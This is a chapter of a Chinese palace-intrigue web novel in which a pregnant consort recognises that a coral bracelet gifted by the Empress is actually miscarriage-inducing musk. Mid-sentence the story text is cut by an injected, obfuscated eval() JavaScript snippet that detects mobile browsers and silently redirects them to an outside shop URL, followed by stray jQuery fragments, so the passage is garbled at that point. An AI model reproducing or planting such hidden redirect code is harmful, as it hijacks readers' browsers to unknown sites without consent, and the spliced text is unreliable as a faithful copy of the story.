琉璃瓦的光影在宫墙上跳跃着,崔长柳坐在仪仗上前去坤宁宫向皇后请安。
原本她这个品阶是没有仪仗的,是太后念在她有孕前些日子又落水的份上,为她安排的仪仗。
今日请安,崔长柳依旧是挨着洪美人,不过从上首是洪美人变成下首是洪美人。
她不知道洪美人为何会被皇上厌烦,金薇也不知情,只知道洪美人是自从王府时就跟着皇上,皇上登基册封修媛,又不知何故降为美人,再不得皇上宠爱。
“崔贵人真是好福气,只侍寝一次就有了皇嗣。”代宝林酸溜溜道。
崔长柳还没出声,施美人先一步怼了过去:“代宝林这话说的,你自己没福不能跟崔贵人一样一次有皇嗣,何必这么酸溜溜的?”
这一次大封,除了有孕且救了大公主的崔贵人,也就她得了晋封,听说册封一事是皇后娘娘提的,估计是皇后娘娘抬举她。
章妃一次两次跟皇后娘娘过不去,她当然不能容忍。
代宝林白眼一翻:“施美人以为帮崔贵人出头就能跟崔贵人一样有皇子了吗?”
“我不急在这一时,毕竟我能时时见到皇上,代宝林入宫以来可就见过皇上一回。”女人最清楚女人哪里最脆弱。
“你……”代宝林被气得说不出话来,“就会耍耍嘴皮子了!”
见代宝林无话可说,施美人更有了精神头:“不比代宝林,连耍嘴皮子都不会。”
崔长柳不是那种看着旁人在前面冲锋陷阵,自己坐享其成的人。
在背后躲着受益确实很爽,不过这好处拿着也不踏实。
“代宝林可还记得自己是什么位份,以下犯上目无尊卑就是代家的好家教?”
崔长柳没什么好怼的,该说的施美人都已经说过了,她最后再表个态,好让她自己别显得那么清高。
清高的人一般最惹人厌。
代宝林脸色骤变,只说她一人倒是无所谓,扯上家族就是另外一回事。
她嗫嚅着开口:“是嫔妾一时糊涂忘了礼数,还望崔贵人不要跟嫔妾一般计较。”
“代宝林这是哪里的话?本宫能怪罪你什么?你当众在皇后娘娘宫里说些疯话,与本宫有何干系?”
施美人也是没想到崔长柳还能拿皇后出来压人。
宫里没人说但心里谁都清楚,代宝林投靠了章妃,章妃与皇后不睦。现在把皇后搬出来,又是另外一回事。
代宝林只好咬牙:“多谢崔贵人提点。”
此时她忍了,不过是因为昨日二公主和大皇子受惊,章妃要照顾皇嗣没来请安,她无人撑腰罢了,不代表她就这么任由自己吃亏。
众人等了一会,皇后款款而来,还给新晋封的一众嫔妃赏赐了些东西。
崔长柳分到的是两支点翠金步摇和一串红珊瑚手串,凑近还能闻到手串上有股异香。
“这些都是本宫入王府时,当时的皇后赏下的,尤其是那串红珊瑚手串,本宫甚是喜爱,今日便赠予诸位妹妹,希望诸位妹妹能帮皇上排忧解难,为皇室开枝散叶。”
当今太后并未做过皇后,甚至先帝在时位份还很低,皇上登基才有现在的尊荣。
“皇后娘娘将如此珍贵的手串赠予嫔妾,嫔妾实在受之有愧啊。”别人看不出来,在青楼这么多年的崔长柳还看不出来吗?
这哪里是什么红珊瑚手串,这分明是红麝香手串。
皇后当崔长柳只是崔家义女,没见过什么好东西,但这麝香的味道她是最熟悉的。
麝香虽然容易使女子滑胎,可又是最能活血醒神好东西,真难为皇后专门把这么好的东西送给她。
只是这麝香但凡有太医看过就知道不妥,皇后为何如此大胆,就这么毫无顾忌地将东西送给崔长柳?
“你身怀皇嗣,是有福之人,不必妄自菲薄。”
“那嫔妾就多谢皇后娘娘抬爱了。”崔长柳当着皇后的面,喜滋滋地将手串戴到雪白的手腕上,做足了小人得志的张扬模样。
从坤宁宫出来,崔长柳当即收敛笑意去了慈宁宫。
坤宁宫里,似月向皇后禀报:“娘娘,崔贵人朝着慈宁宫的方
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17722866|208751||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
向去了,那个手串……”
“怎么?你真以为太后会替她撑腰罚本宫?顶多是不让她戴那个手串了而已。”
那手串害她没了第一个孩子,偏偏当年皇上太后还不许她声张,现在也该换个人吃哑巴亏了。
“可崔贵人好歹救了大公主,又提醒奴婢存了证据,娘娘真就要对付崔贵人吗?”似月还是不愿相信,明明眼下害了公主的魏选侍和一直跟娘娘作对的章妃更可恨,为何娘娘偏要先对付崔贵人?
“似月,你还记得崔贵人入宫时是什么位分吗?”
“是才人……娘娘您是说,崔贵人的位分升得太快了?”经皇后一提点,似月也终于反应过来。
“是啊,你看崔贵人不争不抢的,看似在后宫没什么存在感。可咱们那位向来在位分上吝啬的陛下将她连升两级,又是封了个风头正盛的景贵人遮掩,又是大封六宫遮掩,好处全让她拿了,风险却没有担多少。”
她做了那么多年皇子正妃,又做了这么多年皇后,还从未见过皇上为谁这么考虑过。
皇上对她们这些后宫嫔妃就是制衡,就是给一些遥不可及的许诺,可对她偏偏就是百般呵护。
似月还是不明白:“娘娘能想到这点,后宫肯定还有旁人能想到,娘娘何苦脏了自己的手?”
“都能想到?”皇后摇头,“她们想不到,因为我们的陛下从未在那些人面前卖过破绽。若非那日皇上提到册封崔贵人时本宫恰好瞧见皇上的神情,本宫也是想不到的。”
不知皇后是在对似月说还是在对自己说:“本宫与皇上认识这么多年,若是本宫都看不透皇上的心思,那天底下就没人能猜透皇上的心思了。本宫就是要在皇上真正意识到他自己对崔贵人的情意之前,让崔贵人再无翻身的可能。”
似月不语,她是知道那手串的功效的。
当年娘娘身体强健胎像极稳,只是戴了半月那手串,小皇子就没了,甚至调理了许多年才得以生下大公主来。
皇后娘娘能有这许多年,可一个小小的贵人哪里能有这么多机会呢?